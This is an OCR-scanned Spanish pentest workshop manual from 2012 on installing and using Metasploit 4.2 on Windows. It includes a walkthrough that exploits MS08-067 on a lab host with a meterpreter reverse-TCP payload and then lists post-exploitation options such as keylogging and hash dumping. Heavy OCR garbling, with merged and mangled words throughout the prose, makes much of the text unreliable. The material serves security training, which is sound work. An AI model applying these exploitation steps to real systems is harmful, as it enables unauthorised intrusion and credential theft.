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« PROLOGO

Ya ha pasado casi mas de un afio desde que me adader el primer taller de
auditoria con la ilusion de poder ayudar en el diadia a aquellos técnicos,
administradores o personal de Ti en el uso dedammientas de seguridad, y facilitar
su aprendizaje.

Hoy me decido a volver a dar la lata con la actaalbn del primer taller, con
novedades importantes en su contenido como la ntergadn de Nessus 5, y el nuevo
Framework de metasploit 4.2. Asi como nuevos ejemplacticos.

Hay partes del documento que no he cambiado, headevlas partes que han
guedado obsoletas y actualizado y he comprobadaigae realizando su funcion, hay
apartado que son totalmente nuevos, podria extmeden el contenido haciendo
hincapié en cada parte de los médulos que tienasmieit, pero mi tiempo no lo
permite.

Espero que la lectura y sobre todo el contenidéasemagenes (que no solo
estan para rellenar sino que son una manera grdéicaer el funcionamiento del
framewok), os ayuden y aclaren dudas que tengdie @l menos os aporte algo mas de
lo que ya sepais.

Un comentario a la comunidad Linux, podria habehbeel taller basandome en

backtrack 5, pero he de deciros que Internet &s1d e manuales videos, sobre como
funciona en este entorno, creo que la version Wisdee merece un poco de atencion

con sus particularidades.
P
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Metasploit

+* Conceptos Bdsicos.

Metasploit es una herramienta de pentest paraesrbllo y ejecucion de
exploits destinada a auditar vulnerabilidades, desarrollada por HdMoore en el

verano del afio 2003.

Hd moore es un investigador de seguridad, trabapdocdirector de seguridad
para los sistemas de breakpoint, también co-fuaddefensa de digital, actualmente
trabaja como jefe de seguridad en la empresa Ralpitpz//www.rapid7.com/ dedicada
a la seguridad informatica y a la comercializaci® la version profesional de
metasploit framework, Hdmoore mantiene el proyeciginal opensource.

s | 5 > sendbovie - Getting started. [ Hotmall gratuto | Més complementos = € sitios sugeridos -
[ Ho moore | Linkedin l | A% - B - [ =% - Pagina - Seguridad = Herramisntas - -

Linked [fJ-

HD Moore

- Security Research & Development
Austin, Texas Area | Computer & Network Security
.);

Unete a Linkedin y accede al perfil completo de HD Moore.

Como usuario de Linkedin, te unirds a 150 millones de profesionales
que comparten contactos, ideas y opartunidades. |Y es gratis!
También podrés

» Descubre a quién to y HD Moore conocéis en comin kepetpedcomikclo

» Haz que te pregenten a HD Moore

Unete hoy - Ingresa

Busqueda por nombre:
Busca a gente que conoces entre mas de 150 millanes profesionales
¥a incorporados a Linkedin

Ejempla: Jetf Weiner

Las personas gue vieron este perfil también vieron...

Kevin Mitnick
Founder & CEO at Mitnick Security.

Gordon Fyodor Lyon
Dan Kaminsky

= Contacta con HD Moore directamente 2 = 7
Dino Dai Zovi
Co-Founder/CTO at Trail of Bits, Inc.

Jeff Moss P

Resumen de HD Moore
Actual  Chief Security Officer en Rapid?
Chief Architect en The Metasploit Project
Recomendaciones 4 personas han recomendado a HD
Contactns 500+ contactos

Sitins wieh  Sitio web de la empresa
Sitio weh de la empresa
Sitio web personal

| am passionate about creating innovation solutions with like-minded people

Especialidades
Building products, security research, and penetration testing

- |
[T T [ (e Fa -8 -

Lo que en un principio era un entorno para el delarde exploits, poco a poco ha ido
convirtiéndose en un entorno de auditoria y pentimtde continuamente van

afadiéndose nuevos moédulos.
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En el siguiente enlace puedes comprobar las dife&emexistentes entre la version free
y la de pago.

http://www.rapid7.com/products/metasploit/compane-buy.jsp

La herramienta inicialmente fue escrita en lengpaje para posteriormente ser
reescrita en ruby.

Puedes descargarla desd#p://www.metasploit.com/framework/downlqagksta
disponible para los sistemas operativos unix, LinuxXWindows, a fecha de la
publicacion de este libro existe la version 4.2 Fdamework

£ Download Metasploit | Metasploit Project - Windows Internet Explorer

@ http v metasplait.com m =4 % o |2

G

archivo  Edicion Yer  Eavoritos  Herremientas  Ayuda

¢ Favoritos | o, § sandboxie - Getting Started [ Hotmal gratuits: & | Mas complementas = €2 Sitios sugeridos ~

X ¥ombra Website * Sequridad. . ! (W Download Metasploit | M., X I

@metasploit” e

@ ABOUT ~  HELP  NEWS | DEVELOPMENT v | EMPLOITS  WEARSWAG | powHLOAD € READ THE FORUMS &

Home = Download

Download Metasploit to complete your penetration testing
assessments faster and easier

Ietasploit helps security and |T professionals identify e

security issues, verify vulnerability mitigations, and manags W';':e!ESP‘U‘C

expert-driven security assessments, v :
| [Pmetasrloit

| Fi - B - ] = v Pagine - Seguridad v Herramientas - @

Bomcsen | gifoiisf] | CSeeis @ iCampees

Select your operating system

®© Al A

A

Windowrs Linux 32-Bit Linus 64-Eit

Metasplojt Yersion 42 i

ion | System ements | Verify Download
Pojectsthity 24 Hows}

withthis single download, you can chaoss to install:

Metasploit Edition | After Installation

" Request7-day trial ar enter purchased
Metasploit Pra
icense

Metasploit Express

Related Software

K e e el

I - =
Descarga de Metasploit Framework

La herramienta en principio puede parecer un pepesa, pero a medida que
nos vamos adentrando en la filosofia de su estaicins ofrece un entorno facil y lleno
de posibilidades.
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Instalacion de Metasploit Framework

Comenzaremos descargando la version para Winddvegtideveb.

Abrir archivo - Advertencia de seguridad

£Dezea ejecutar este archivo?

e— Mambre;  metasplait-latest-windows-installer. exe
" Fabricante: Bapid? LLC

Tipo: - Aplicacian

D oy,

Ejecutar | Cancelar I

¥ Preguntar siempre antes de abrir este archivo

Loz archives procedentes de Internet pueden zer dtiles, pero este-
tipo:de archivo puede dafiar potencialmente 2o equipo. Salo
ejecute software delos fabricantes en los que contia. ;Cual ez el

niesqo’

Seguiremos las instrucciones que nos va indicaheieeutable.

C&warning

1 This praduct is mot compatible with common anti-virus salutions, Before continuing, please disable any installed anti-virus software or add an exclusion
For the Metasploit inskallation directory, Failure ko do so can lead to & corrupt installation and the malfunctioning of certain exploit modules,

C&warning

This product is not compatible with comman firewall applications. Although it is possible ko use Metasplait with & firewall in place, a firewall will interfers
' with the Function of certain exploits and pavloads. Please ensure that the Windows Firewall is disabled prior £o using this praduct For a penetration
best,

Dos mensajes nos advierten que el framework noosgpatible con algun tipo de
antivirus o firewall con lo cual recomienda deszuios para evitar el
malfuncionamiento de la aplicacion.

o. Pég6
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Setup - Metasploit

Welcome to the Metasploit Setup Wizard,

< Back i Mexbz i Cancel

Pulsamos en next..

License Agreement

Please read the Followinig License Agresment, Yoo must accept the berms of this agreement before
‘conkinuing with the installation.

-
RBapid? End User License and Serwices Terms and Conditions ﬂ

Customer agress to be bound by the following terms and conditions
(this "Agreement") in connection with its purchase and use of
certain Rapid? LLC s ("Rapid?") Software and Services (each as
defined below). Before installing and usinhg any Software and/or
obtaining and using any Serwvices you should read this Agreement
carefully. Clicking "accept" or otherwise installing and/or using LI

% 1 accept the agreement:

Do you-accept Ehis license? :
' " I do not-accept the agreement

L

< Back | Mesk = | Cancel |

Aceptamos el acuerdo de licencia, la cual nos rdeugue es valida para un afio y con
un maximo de 32 hosts simultaneos.

O Pag7
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G Setup o]

Installation folder @

Flease; choose a Folder b instal Metasploit

Select a Folder

< Back | Mewt = | Cancel

Le indicamos al instalador la ruta donde se ubiehféamework.

C-setup ] 3

Metasploit Service @

Flease enter the port that the Metasploit service I.-\iili_use\

55 Part

= Back Mk = Cancel

Definiremos el puerto que metasploit usara comacer

o. PégS
Bernabé Mufioz (bmm@reus.tinet.org)




TALLER AUDITORIA'Y PENTEST 2012

CF-Setup I ] 3

Generate an S5L Certificate @

Flease provide the Fullv. qualified domain name of this system below (g0, metasploitexample.cam.
A certificate is generated for a specific server name: and web browsers will alert users if the name
‘does not makch,

Server Mame. |TESTEC

Diays of validizy |3E-5EI

< Back | ek = Cancel

Crearemos un certificado para las comunicaciongisas.

G Setup o]

Thin Server Port @

Thin Serswer Pork lm

< Back Mesk = Cancel

o. Pég9
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G Setup I ] |

Metasploit Framework: Automatic Updates @

Metasploit Cammunity: Edition; Metasploit Express, and Metasploit Pro.are based on a stable,
quality-assured wersion of the Metasploit Framewark, which is bvpically updated every week. In
addition, this installer also includes a development snapshot of the-Metasploit Framework. This
snapshat provides real-time access ko the latest modules and Features, buk its skability has nat
been kested,

Do wou want to update the development snapshiot of Metasploit Framework automatically?
{Recommended)

* Yes
Mo

= Eack | _, ....... NEXI}._I Cancel

Definimos que se actualice automaticamente (Recdatkr)

CFSetup I ] |

Ready to Install

Setup is now reau:i‘;.-’_tu:u i:uegin.installing Metasploit on wour computer,

< Back DN s Cancel

o. PéglO
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CFsetup [ ] |

M metasploit

= Conduct penetration tests through an easy-to-use interface

« Demonstrate true risk to management and IT operations

« Eliminate false positives from third-party vuinerability scanners
* Upgrade to Metasploit Pro for advanced enterprise features

Installing
Unpacking files

E“Setup [ [m] |

Completing the Metasploit Setup Wizard

Setup has finished installing Metasploit on your computer,

W access Metasploit web UI?

{: Back | :, ......... F "_ilshri Car‘cﬂl |

Al finalizar la instalacion arrancara la consolabg&ara iniciar el proceso de registro de
la licencia online.

Pedira un Usuario y una contrasefia para creaelaa&u

o. Pé_gll
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€' | % s focahost: 5750 users/hew oA

5] Esta pégina estd esartaen | ngés | dQuieres trackcrla? Mo traducir runca del ingiés Configuracién v|
[ymetasploit

Home  Mew User Setup

* denotes requirad fisld

Login Info

Username”  [aBHN

Password®

Password confirmation™

Optional Info & Settings

Full name

Email address

Organization

Time zone  [(GHT+01:00) Amsterdam

Create Account |

Metasplat 4. 2.0+ Update 1 ©3010-2011 RapidT LLG, Boston, Ma

RAPID7

€« C | & pS:/locabost: 3790 /se bup/activation A

Mo traduc nnca delinglés Configuracén « | %

L’;‘g Esta pAgina esté escrita en | Inglés v | dQuieres raducria?

@metasploit™

Activate Metasploit

Activate Success

Need anew product key? Register your Metasploit license here!

Product Key

I Use an HTTP Prow to reach the intemet?

& Activete Liconse. |

Offline Activation Files

ifyou have received an offine activation fil, it can be uploaded via the OMine Activation form

Matagploit 4.2.0- Updats | ©2010:2011 Rapid? LLC, Boston, M4

Pulsaremos etRegister your Metasploit license here”

0
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& X | (3% s ffurww.rapid7.com fregister fmetasploit. Jspproduct_key =t

%] Esta pagina esti escrita e | ingés - | duieres backicila?

Choose between two FREE Metasploit Offers

@metasploit”

Metasploit Community Edition simplifiss
netwark dis covery and wineragility
verification for specific exploits, increasing
the effectiveness ofvulnerabilty stanners
such as Nexpose for free

v FREE EDITION

V' Network discovery

V' Wulnerability scanner import
v Basic explnitation

V' Module browser

Enter email address:
bemasofi@gmail.com
Form Validated . Processing

OR

@metasploit”

istasploit Pro hielps security and IT
prafessionals in enterprises prevent data
breaches by sfiisiently conducting braad-
scone penetrafion tests, prioritzing
wiinerabiliies, and verifying controls and
mitigations.

Metasplait Community, plus

V' Srmart exploitation

v’ Password auditing

V' ieh application scanning
v Social-engineering

v Tearn coliaboration

V' Reporting

V' Enterprise-level support

GET FREE TRIAL

Buy Wetasplot Fro | Metasplot Express
Contact Rapie? Seles

Issues with this page? Please email info@rapid7.com

RAPID7

Esperando forms.netsue.com.

©2011 RapiT LLC, Boston, MA | Metas ploit

No traduci nunca del ingiés

Organization:

Procuict=Rreturm_path=https934/focahostd3aa7s0/se! v | &

Configurackén -

Indicaremos una cuenta de correo donde recibireno®digo activacion de la licencia.

Metaspiot - Projects

4

€ C | ks focahost: 3750

E‘ﬂ Esta pAgina esth escrita e | ngkds - | éQuieres traducia?

No tradelr nLnea del inglés

@metasploit*

community

\ETEm——_— e

%% A
Configuracién - | %

o Project Y . Account Community

Home  Projects

V/ Activation Successful

SOolaProed  [0sel  Pseins | ©Newsioest

Show |10 entries

™ Hame Hosts  Active Sessions Tasks  Owner  Members
[ 0 o o systeri 0

Showing 110 1 of 1 entries

Metasploit Compmuinity .20 - Upgate 1

Una vez realizada la activacion

Updated

T8 minutes age

©3010-2011 Rapid? LLC, Boston, WA -

+ Deseription

“Pass the hash” with Nexpose and Metasploit

& prout o announce that Nexpose 5.1.0 naw supports "pass the hast, 3
technique to remofely authenticate against a Windows machine (or any
SMBICIFS server) with the mere possession af LWNTLH

Remote-controlling Metasploit through APls

Metasplait offers some greatways ta automate its functionality through 3
programming interface. Metasploit users have built custom tools and
pracesses based on this functionalty, saving them time

Weekly Metasploit Up date: Subverting NATs, 64.
Support, and More!

LoadLibrary

NAT-FMPing s now easy This week, we have three niew modules and an
accompanying Rex pratocol parser for the NAT PortMapping Protocol (NAT-
PIP), the atkhac router management protocol favared

Mythical Videoconferencing Hackers

Open and frank debats is ohe ofthe great things aboutthe seouriy cormunity
and the recent press about our H.323 research has set o a frestorm in some
circles. In one extensively wiitten post,

Board Room Spying for Fun and Profit

Undiate: David Maldow of Human Productiviy Lab wrote 3 response to the NYT
anlicle that presented an industry perspective on our findings. e respanded
with clarification of exactly what was tested

< RAPID7

, procederemodumbar el framework.

0
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e\ e -]

€ - C | &pups:jocahost:3750/updates

WA
%) Esta pagina estd escrta en Quieres traducla? [ ] [No tradtuor runca det ngés Configuracion +| %
e oD 2 Project v = Account BERNA'Y £ Administration ¥
metasploit
community’

Home  Software Updates

License Details
Product Key BZND-STZH-REKY-"""  Changs Key
Product Edition  Metasploit Community
Registered To. bemasoft@gmail com
Licensed nti Mar 20, 2013 01:00:00 CET
364 days remaining
Product Updates
T Use an HTTP Praxy to reach the internet?
© Checkfor Updates |

Updates Available

Version 2012031403

‘This week's update brings one new module and fies and Specfically, we fong
gensrating the "Compromised Hosts* report

,see the
< st |
Recelved an Ofine Update File?

Metasplalt ommurity 4.2.0- Update 1 ©2010-2011 Rapla7 LL

- etaspio - aopiv s

€ | fpupsi/jlocahost: 3790 pdate

fepply
%] Esta pagna esté escrita en [ ngés » | eQuieres tradiucrla?

@metasploit”

community

o] (1o traduor runca delngés

3" Downloading... 0%
Instal

Restart

Metasploit Community 4.2:0 - Update 1

RAPID7

€« € | % s /focahost: 3790/Lpdates/apply
S Esta pagna estd escia en ingés - | sQuieres tracucrla? [ Tractucr | [No | [No radcrr runca del ngis |
metasploit”

community’

+ Download complete
+ Install complete

+ Ready to restart.

s |

Update 1 ©2010-2011 Rapid7 LG, Boston, bk

<#2RAPID7

0
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Interfaces

Las interfaces son la via de entrada en el cod#bframework. Personalmente
creo que la consola es la que mas juego y madiliekaid de trabajo nos da, es la, mas
intuitiva y de mas rapido acceso a las opcionesy ps una opinion personal ya que
para gustos los colores, mas adelante mostrar@lkeme estos entornos.

Esta imagen es la representacion de como estatesado el framework metasploit.

Metasploit Architecture

LIBRARIES INTERFACES

»  Rox Console
b
CL
MsF Core

: Web

PLUGINS = MSF Base " GuUl

MODULES

Payloads Exploits Encoders  Nops

o. Pé.ng
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Framework MSFGUI

Para iniciar la consola MSFGUI, ejecutaremos eésadirecto que nos iniciara la
interfaz o desde Inicio/Programas/Metasploit/Fraorkw

& Framework

=10 x|
Archivo  Edicion® Ver Faworitos  Herramientas  Ayuda | i
5 . e oy
7 ol = = : Y (B 2
@Atras J |‘I 7 Blisgqueda T Carpetas ;Eb 3 x n | .
Direccion lr:j CiDocumients and Settingsial UsersitMend IniciolProgramasiMetasplaibiFramework ;I Ir

Armitage Framework IRE
Acceso direcko Acceso direcko
' KB 2 KB
Framewark Consols
Acceso direcko
ZKE
BB Framework Lpdate
| r Acceso directa
a‘ : LKB

Nos pedira la conexion con la base de datos pasfigceeada por Metasploit y
cuyo usuario y contrasefia podremos encontrarlés giguiente ubicacion en el fichero
C:\metasploit\config\database.ymi

CEETE——— x|

Connect to msfrpcd

|sernanme ImsF

Password I

Haost [127.0.0.1

Part [55553

S5 [
Disable OB [~

Start new msfrpcd (2) Zhange path | Zancel

Conneck |

® PéglG
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Bl database.yml - WordPad o [=[

Archivo  Edicion  Wer Insertar Formato  Awuda
D((E| SR sl &lmle-|

#
# These settings are for the database used by the Metasploit Framework
# unstable tree included in this installer, not the commercial editions.
#
deve lopment @

adapter: "postgresgl"™

database: "msfidev"

username: "msf3"

password: "

port: 7337

host: "localhost™
pool: 256

timeout: S5

production:
adapter: "postgresgl™
databhase: "msfidev”
usernawe;: "msf3i”
pagsword: "E7cIaeo?n
port: 7337
host: "localhost"”
pool: Z56
timeour: 5

Para obtener Ayuda, presione Fi NUM

Una vez realizada la conexidn, nos muestra losatdifes elementos ubicados en la base
de datos.

—lofx|

Fle View Esploits Auxiliary Payloads Hitory Post-Explot Console Database Plgins Help

Jobs | Sessions Hosts | Clisnts | Services | Yulns | Motes | Loots | Creds | Events |

Created Address Addresst MAC Mame State 05 name 05 flavor | 05 5P | OS lang Updated Purpose | Info

815 exploit 458 auxiliary 248 payload 137 post modules

. Pagl7
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[ ot il

Eile ‘4w Enxploits Auxiliary Payloads History Fost-Exploit Console Database FPlugins Help

Jobs | Sessions | Hosts | Clisnts Serviess | vuins | Notss | Loots | Creds | Everts |

Host | Created | Updated | Port [ Proto [ state | Mame [1nfo |
152.188.1.73 Wed Mar OF 13:03:26 CET 2012 Wed Mar 07 13:03:26 CET 2012 B0B1tp  open wum

192.188.1.79 Wed Mar 07 13:03:26 CET 2012 443 tcp OpEn Wi
192.168.1.79 Wed Mar 07 13:03:27 CET 2012 25tep open  smtp
192,168.1.79 Wed Mar 07 13:03:27 CET 2012 8089 tcp OPEn Wi
192.168.1.79 Wed Mar 07 13:0%:27 CET 2012 445 tcp open cifs
192,168,179 Wed Mar 07 13:03:27 CET 2012 3389 tcp open  msrdp
192.188.1.79 Wed Mar 07 13:03:27 CET 2012 21tcp open ftp
192.168.1.79 Wed Mar 07 13:03:27 CET 2012 110tcp open  pop3
192.188.1.79 Wed Mar 07 13:03:27 CET 2012 143 tcp open  imap
192.168.1.79 Wed Mar 07 13:03:28 CET 2012 S060udp  open  sip
192.188.1.79 Wed Mar 07 13:03:28 CET 2012 5061 tcp open
192.168.1.79 Wed Mar 07 13:03:28 CET 2012 1033 tcp open  dee-rpe

192.168.1.79 Wed Mar 07 13:03:28 CET 2012 S060tcp  open
192.168.1.79 Wed Mar 07 13:03:28 CET 2012 5000 tep open
192,168.1.79 Wed Mar 07 13:03:28 CET 2012 135tcp Open  Epmap
192,168.1.79 Wed Mar 07 13:03:28 CET 2012 Wed Mar 07 13:03:28 CET 2012 139 tcp open  smb
192,168,1,79 wed Mar 07 13:03:28 CET 2012 ‘Wed Mar 07 13:03:28 CET 2012 137 udp  open netbios-ns
192,168.1.79 Wed Mar 07 13:03:28 CET 2012 Wed Mar 07 13:03:28 CET 2012 1037 tcp open  dee-rpc

815 exploit 458 awdliary 248 payload 137 post modules

=l8]x|
Ble view Expl 'y Payloads Hstory PostExplt Console Database Plugins Help
Jobs | Sessions | Hosts | ients | Services ¥ulns | notes | Locts | Creds | Events |
Port [ Proto | Tme Host | Hame [ Refs [
Wed Mar 07 13102128 CET 2012 192,168,179 Nesss Scan Information 5519506 A
Wed Mar 07 13:03:26 CET 2012 192.168.1.79 Authentication Fallure - Local Checks Not Run H5S-21745
443 ten  Wed Mar 07 13:03:26 CET 2012 192.168.1.79 Weh Server HTTP Dangerous Method Detection BID-12141, 05VDE-397,05VDB- 5646, 0 WASP-OWASP-CM-001 MSF-Microsoft 115 WebDAY Wirite Access Code Execution,NSS-10498
443 tep  Wed Mar 7 13:03:26 CET 2012 192.168.1.79 S5l Versian 2 (v2) Protacol Detection CVE-2005-2965, N55-20007
443 kp  Wed Mar D7 13:02:26 CET 2012 192.168.1.79 S5L Medium Strencth Cioher Sutes Supportsd H55-42873
443 tep  Wed Mar 07 13:03:26 CET 2012 192.168.1.79 S5L Weak Cipher Sutes Supported (CWE-327,CWE-326,CWE- 753, CWE-803, CWE-720,NS5-26928
ed Mar 07 13:03:27 CET 2012 192.168.1.79 Device Type HE5-54615
443 tep  ed Mar 07 13:03:27 CET 2012 192.168.1.79 S5L Cipher Suites Supported H5S-21643
ed Mar 07 13:03:27 CET 2012 152.168.1.79 Common Platform Enumeration (CPE) H55-45530
ed Mar 07 13:03:27 CET 2012 192.168.1.79 05 denkfication H5S-11936
Wed Mar 07 13:03:27 CET 2012 192,168,179 Ethernet Card Manufacturer Detection NE5-35716
Wed Mar 07 13:03:27 CET 2012 192,168,179 WMniare Virtual Machine Detection NE5-20094
443 top  Wed Mar 07 130327 CET 2012 192,168,1,79 S5L Certficabe Cannot Be Trusted NES-51192
25 e WedMar 07 13:03:27 CET 2012 192,168,1,79 SMTP Service Cleartext Login Permitted N5S-54582
25 tp  Wed Mar 07 1303:27 CET 2012 192,168,1,79 SMTP Authentication Methods N5S-54580
443 tep  Wed Mar 07 13:03:27 CET 2012 192,168,179 S5L Session Resume Supported N5S-51891
443 tp  Wed Mar 07 13:03:27 CET 2012 192.168.1.79 S5L Certficate Information 5510863
443 tep  Wed Mar 07 13:03:27 CET 2012 192.168.1.79 S5L | TLS ersions Supported 5556984
443 tep  Wed Mar 07 13:03:27 CET 2012 192,168,179 WebDAY Detection N5S-11424
(3369 tep  Wed Mar 07 13:03:27 CET 2012 192.168.1.79 Terminal Services Encryption Level i not FIPS-140 Complant N55-30218
443 ten  Wed Mar 07 13:03:27 CET 2012 192.168.1.79 Morosoft 115 404 Response Service Pack Signature N5 11674
443 tp  Wed Mar 07 13:03:27 CET 2012 192,168.1.79 HyperText Transfer Protocol (HTTP) Information H5S-24260
443 ten  Wed Mar 07 13:02:27 CET 2012 192.168.1.79 HTTP Server Type and Version H5S-10107
443 tep  Wed Mar 7 13:03:27 CET 2012 192.168.1.79 HTTP Methads Allwed (per directory) NSS-43111
445 tep  Wed Mar 07 13:03:27 CET 2012 192.168.1.79 SMB Signing Disabled H55-57608
(3389 tep  Wed Mar 07 13:02:27 CET 2012 192.168.1.79 i he-Micle Veskness CVE-2005-1794,BID- 13818, 0SVDB- 17131, N55-16405
21 tep  Wed MarD7 13:03:27 CET 2012 192.168.1.79 FTP Supports Clear Text Authertication CWE-522,CWE-523 5534324
25 tep  WedMar D7 13:03:27 CET 2012 192,168,179 SMTP Server Detection HSS-10263
2! tep  edMarD7 13:03:27 CET 2012 192.168.1.79 FTP Server Detection H5S- 10092
13669 tep  Wed Mar 07 13:03:27 CET 2012 152.168.1.79 Terminal Services Encryption Level i Medum or Low H55-57630
110 tep  twed Mar 07 13:03:27 CET 2012 192.168.1.79 POP Server Detection H5S-10185 [
143t Wed Mar 07 13i03i27 CET 2012 192,168,179 IMAP Service Banner Retrisval NES- 11414
(3309 tp  Wed Mar 07 130327 CET 2012 192,168,1,79 Windows Terminal Services Enabled NES-10940
135 tp  Wed Mar 07 13:03i28 CET 2012 192.168,1,79 DCE Services Enumeration N5S-10736
145 tep  Wed Mar 07 13:03i28 CET 2012 192,168,179 Nessus SYN scanner N5S-11219
445 ten  Wed Mar 07 13:03:28 CET 2012 192,168,179 Morosoft Windows SMB Log In Possbie MISF-Microsoft Windows Authenticated User Cods Execution, NSS-10394
445 ten  Wed Mar 07 13:03:28 CET 2012 192.168.1.79 Mcrosoft Windows SMB NativeLanManager Remote System Information Disclosure. NS5-10785
Wed Mar 07 13:03:27 CET 2012 192.168.1.79 TCPJIP Timestamps Supported 5525220

15 exploit 4565 auxdliary 248 payload 137 post modules

En definitiva nos muestra los hosts escaneadosselngcios encontrados y las
vulnerabilidades, asi como los exploits, los paysog los mddulos auxiliary con los
gue contamos.

En la parte superior, estan los menus de Explpétgloads, auxiliares que son
los elementos fundamentales para el acceso.

Como practica explotaremos una vulnerabilidad deslps para comprobar el
funcionamiento del gui.

Usaremos la archiconocida vulnerabilidad ms87_0&taph no por su eficacia
(que la tiene) , sino por la rapidez y facilidadch da que nos representara una sesion
remota después de explotar la vulnerabilidad.
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IE) Auxiliary Payioads History PostExpleit Console Database Plugins Help

. » | cients | Semices | vulns | Notes | Loots | Creds | Events | metermreter 1 | Session 1 process list |
bsdi >
dialup >
freehsd b
hpux >
irix 3
linux. >
multi 3
netware b
osx 3
sn!ans L msD3_049_netapi
unix 1= ms04_007_killbill
anthdrus > ms04_011_lsass
:;l:(l:m : ms04_031_netdde
msD5_039_pnp
backupexec b ms06_025_rasmans_reg
brightstor > ms06_025_rras
browser > ms06_040_netapi
deerpe > ; » | Ms06_066_nwapi
driver > :f":q » | msD6_D66_nwwks
email > o » | MS06_070_wkssvc
lraz'c - : nw’;" » | ms07_020_msdns_zanename
r:m‘::: + | oracee i ms08 067 _netapi . .
o ol » | ms09_050_smh2_negotiate_func_index
postgres  » | MS10_061_spooiss
games : i » | netidentity_tierrpcpipe
:i':p » | stata B} | [BEERET
i il » | smb_relay
o ; timbuktu_plughntcommand_bof
Idap p|ome "
license S lE ) »
lotus > = %
o » | temnet >
misc P iy ¥
mmsp » unicenter >
S 4 xz : 15 exploit 458 auxiliary 248 payload 138 post modules
mssil »>
Ewicio| (v | 8 .. | CIIE Wi "heoeo 0 L L

Nos posicionamos en la consola y en el menu esmeieccionamos
Windows/More/smb/ms08_067_netapi.

Nos mostrara informacion del expoit y los paransegaonfigurar.

W Microsoft Server Service Relative Path Stack Corruption windows/smbims0§_067_netapi

Microsoft Server Service Relative Path Stack Corruption

Rank: Great

Description This module exploits a parsing flaw in the path canonicalization code of NetaP132.dll through the K

Server Service. This madule is capahle of bypassing KX on some operating systems and service packs. The

correcttarget must be used to prevent the Server Service (along with a dozen others in the same process)

from crashing. Windows P targets seem to handle multiple successful exploitation events, hut 2003 targets

will often crash ar hang on subseguent attempts. This is justthe first version of this module, full suppoart for

Mx bypass on 2003, along with other platforms, is still in development.

References:

CVE: 2008-4250

QSVDE: 49243

MSE: MS08-067

LRL: hitp:fhasaen rapid 7 comivulindbilookupideerpe-ms-netapi-netpathcanonicalize-dos r/
v

Authors: hdm |, Brett Moore | staylor, jduck
License: Metasploit Framework License (BSD)
Version: 14976

Targets

() Autornatic Targeting

() Windows 2000 Universal

u Windows XP SPOSP1 Universal

Q Windows XP SP2 Enaglish (AlweaysOn M)
u Windows XP SP2 English (M)

O Windows XP SP3 Enalish {AlwaysOn b
u Windows XP SP3 English (M)

O Windows 2003 SP0 Universal

() Windows 2003 SP1 English (MO M

u Windows 2003 5P1 Enalish (M)

¥

Seleccionaremos Automating Targeting si no saberhsistema operativo del equipo
remoto.

0
Bernabé Mufioz (bmm@reus.tinet.org)




TALLER AUDITORIA'Y PENTEST 2012

Como Payload Seleccionaremos Meterpreter/revers@ai@ que nos retorne una
sesion remota y seleccionaremos el parametro ilndisendo nuestra ip local y como
rhost la ip a auditar.

¥ Microsoft Server Service Relative Path Stack Corruption windows/ismb/ms08_067_netapi

T TESIL_DITU_ILp

¥ (& meterpreter .
[ reverse_tep_dns
E| reverse_fep_allports

E| rewerse_ard_tcp
[ reverse_nonx_tep
E| reverse_jpvB_tcp
E| reverse_ipvB_hitps
E| reverse_jipvE_hitp
E| reverse_https

E| reverse_http

[ bind_tep

E| hind_nonx_tcp ™
[ bind_ipvéi_tep v

Required v

LPORT The listen port
4444
EXITFUNC Exittechnigue: seh, thread, process, none

process
LHOST The listen address
192.168.1.59
RPORT Setthe SME senvice port
445
SMBPIPE The pipe narme o use (BROWSER, SRWEVC)
EROWSER
RHOST The target address
‘ 1832.168.1.80
[

a¥T

Por ultimo pulsaremos en run exploit para lanzatadue.

¥ Microsoft Server Service Relative Path Stack Corruption windows/smb/m=08_067_netapi

EnableUnicodeEncoding Autormatically encode UTF-8 strings as hexadecimal :
v
WrsDelay Additional delay when waiting for a session
0
SSL Megotiate SSL for outgoing connections
WORKSPACE Specify the waorkspace for this module
default
NTLM:SendNTLM Activate the 'Negotiate MTLM key' flag, indicating the use of NTLM responses
SMBDomain The Windows domain to use far authentication
Proxies Lse a proxy chain
DCERPC::fake_hind_multi_prepend Set the number of UUIDS to prepend before the target
1]
NTLM::SendLM Always send the LAMMARM response (exceptwhen NTLMy2_session is specified)
TCP:max_send_size Maxiumum tcp segment size. (0= disable)
0
SMEB:VerifySignature Enforces client-side verification of server response signatures
SMB:pipe_evasion Enahle segmented readbarites for SME Pipes
SMB:pipe_read_min_size Minimurm buffer size for pipe reads
1
SMB:Native_LM The MNative L to send during authentication )
Windows 2000 5.0
[ Run exploit Jl Run in Console J ’/
v

o. PégZO
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Ahora si seleccionamos la pestafia sessions composbque nos ha sacado una sesion
remota en el equipo victima

W mergui [-]5]x]

Eile View Exploits Awxiliary Payloads History PostExploit Console Datsbase Plugins Help

Jobs [[Sessions | Hosts | Clierts | Ssvices | Vulns | Notes | Loots [ Creds | Events | meterpreter1 | Session 1 process list | meterpreter 2 |

it | e | tunnel_neer | info | latiarm

816 exploit 45% auxliary 248 payload 138 post modules

Si pulsamos boton derecho sobre la sesién nos an@strdas las opciones posibles que
podemos interactuar con el equipo remoto. Las opsicon mdultiples y se mostaran
mas adelante con la consola.

" msroui [-[5]x]

File View Exploits Auxiliary Payioads History PostExploit Console Database Plugins Help

Jons [ sessions | Hosts | Clients | Semices | vuns | Notes | Loats | creas | events | meterpreter1 | Session 1 process st | meterpreter 2 |

i

| tunnel_peer | info | i
19 R c

Access Filesystem
Processes

Shell

Console

Modules >
Gethashes

Route through this sessian
Sehedule cammand

Unlock screen

Upload +execute

PingiDNS sweep

ARP sweepn

Run shell commands

VirtualBox sysenter DoS

Monilor el Start kevlouger
Frivilege escalation > | startpacketrecorder
Maintaining access > | Sereenshot

System Information >

View.
Other

Kill session

815 exploit 458 auxliary 248 payload 138 post madules

o] S| Bo [Dee|Bo [Trr =i 00000 Bl 3T4OEOBOLE =

o. Pé.ng
Bernabé Mufioz (bmm@reus.tinet.org)




TALLER AUDITORIA'Y PENTEST 2012

MsfConsolt

Se accede mediante la interfaz msfconsole, unremt®hell que nos permitirq
realizar todas las opciones que nos brinda la imégrda.

Por lo tanto usaremos msfconsole, y como con cialdperramienta de trabajo
tenemos que tenerla optimizada, empezaremos paliaetrla y ponerla al dia.

. Framework !En
Archivo Edicidn Wer Favoritos Herramientas Avuda | #’
P 5 B T 3
@ Bkras - 7 ? . Busqueda i Carpetas =" L3 x

Direccion Jlfl C\Documents and Settingsiall Users\Mend Inicio'l,Programas'l,l'v'ﬂ a Ir

=CE0
Framework IRE Framework MSFGLUT
A directa Acceso direcko
IF.] 2K Z KB

Framework MSFGLT
BN Framework, Update
C directa
Ll =

